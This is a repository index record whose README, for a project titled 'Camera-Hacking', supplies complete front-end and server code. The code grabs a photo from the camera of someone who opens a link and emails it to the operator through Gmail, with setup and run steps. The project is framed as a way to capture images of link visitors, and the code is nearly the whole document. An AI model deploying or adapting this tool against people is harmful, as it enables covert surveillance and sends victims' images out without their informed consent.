{"id":20328735,"url":"https://github.com/inborastudio/camera-hacking","last_synced_at":"2026-03-07T03:32:31.673Z","repository":{"id":241440425,"uuid":"806820378","full_name":"InboraStudio/Camera-Hacking","owner":"InboraStudio","description":"a system that takes a photo from the user's camera when they click a link and then sends that photo to a specified email involves several components, including front-end and back-end development.","archived":false,"fork":false,"pushed_at":"2024-05-28T01:19:08.000Z","size":7,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2024-05-28T11:22:18.472Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/InboraStudio.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-05-28T01:14:57.000Z","updated_at":"2024-05-28T11:22:21.278Z","dependencies_parsed_at":"2024-05-28T11:39:05.215Z","dependency_job_id":null,"html_url":"https://github.com/InboraStudio/Camera-Hacking","commit_stats":null,"previous_names":["inborastudio/camera-hacking"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/InboraStudio/Camera-Hacking","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InboraStudio%2FCamera-Hacking","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InboraStudio%2FCamera-Hacking/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InboraStudio%2FCamera-Hacking/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InboraStudio%2FCamera-Hacking/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/InboraStudio","download_url":"https://codeload.github.com/InboraStudio/Camera-Hacking/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InboraStudio%2FCamera-Hacking/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30206577,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-07T03:24:23.086Z","status":"ssl_error","status_checked_at":"2026-03-07T03:23:11.444Z","response_time":53,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-14T20:07:38.273Z","updated_at":"2026-03-07T03:32:31.664Z","avatar_url":"https://github.com/InboraStudio.png","language":"HTML","readme":"# Camera-Hacking\na system that takes a photo from the user's camera when they click a link and then sends that photo to a specified email involves several components, including front-end and back-end development.\n\nFront-End: HTML and JavaScript to capture the photo using the user's camera.\nBack-End: A server to handle the photo upload and send the email.\n\n# Front-End Code\nThis code will prompt the user to take a photo using their device's camera.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003ctitle\u003eCapture Photo\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003ch1\u003eCapture a Photo\u003c/h1\u003e\n    \u003cbutton id=\"capture-btn\"\u003eCapture Photo\u003c/button\u003e\n    \u003cvideo id=\"video\" width=\"640\" height=\"480\" autoplay\u003e\u003c/video\u003e\n    \u003ccanvas id=\"canvas\" style=\"display: none;\"\u003e\u003c/canvas\u003e\n    \u003cscript\u003e\n        const video = document.getElementById('video');\n        const canvas = document.getElementById('canvas');\n        const captureBtn = document.getElementById('capture-btn');\n\n        // Get access to the camera\n        navigator.mediaDevices.getUserMedia({ video: true })\n            .then(stream =\u003e {\n                video.srcObject = stream;\n            })\n            .catch(err =\u003e {\n                console.error(\"Error accessing the camera: \" + err);\n            });\n\n        captureBtn.addEventListener('click', () =\u003e {\n            // Draw the video frame to the canvas\n            canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\n\n            // Convert the canvas image to a data URL\n            const dataURL = canvas.toDataURL('image/png');\n\n            // Send the data URL to the server\n            fetch('/upload', {\n                method: 'POST',\n                headers: {\n                    'Content-Type': 'application/json'\n                },\n                body: JSON.stringify({ image: dataURL })\n            })\n            .then(response =\u003e response.json())\n            .then(data =\u003e {\n                alert('Photo sent successfully!');\n            })\n            .catch(error =\u003e {\n                console.error('Error:', error);\n            });\n        });\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n## Back-End Code\nThis example uses Node.js with Express and Nodemailer to handle the upload and send the email.\n\n# Install necessary packages:\n\n```base\nnpm install express body-parser nodemailer\n```\n# Server code (server.js):\n\n```js\nconst express = require('express');\nconst bodyParser = require('body-parser');\nconst nodemailer = require('nodemailer');\n\nconst app = express();\nconst port = 3000;\n\napp.use(bodyParser.json({ limit: '10mb' }));\n\napp.post('/upload', (req, res) =\u003e {\n    const imageData = req.body.image;\n\n    // Extract the base64 data\n    const base64Data = imageData.replace(/^data:image\\/png;base64,/, '');\n\n    // Convert the base64 string to a buffer\n    const imageBuffer = Buffer.from(base64Data, 'base64');\n\n    // Email configuration\n    const transporter = nodemailer.createTransport({\n        service: 'gmail',\n        auth: {\n            user: 'your-email@gmail.com',\n            pass: 'your-email-password'\n        }\n    });\n\n    const mailOptions = {\n        from: 'your-email@gmail.com',\n        to: 'admin-email@example.com',\n        subject: 'Photo from user',\n        text: 'Here is the photo captured by the user.',\n        attachments: [\n            {\n                filename: 'photo.png',\n                content: imageBuffer\n            }\n        ]\n    };\n\n    // Send email\n    transporter.sendMail(mailOptions, (error, info) =\u003e {\n        if (error) {\n            console.error('Error sending email:', error);\n            res.status(500).json({ success: false, message: 'Error sending email' });\n        } else {\n            console.log('Email sent:', info.response);\n            res.json({ success: true, message: 'Email sent successfully' });\n        }\n    });\n});\n\napp.listen(port, () =\u003e {\n    console.log(`Server is running on http://localhost:${port}`);\n});\n```\n\nSteps to Run the Application\nCreate the Front-End File: Save the front-end HTML and JavaScript code in a file named index.html.\nCreate the Server File: Save the back-end JavaScript code in a file named server.js.\nInstall Dependencies: Run npm install express body-parser nodemailer to install the necessary Node.js packages.\nStart the Server: Run node server.js to start the server.\nOpen the Front-End: Open index.html in a web browser. Ensure the browser has permission to use the camera.\n\nThis solution will capture a photo when the user clicks the \"Capture Photo\" button, send it to the server, and the server will email the photo to the specified email address. Make sure to replace the email credentials and recipient email address with your actual data.\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finborastudio%2Fcamera-hacking","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Finborastudio%2Fcamera-hacking","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finborastudio%2Fcamera-hacking/lists"}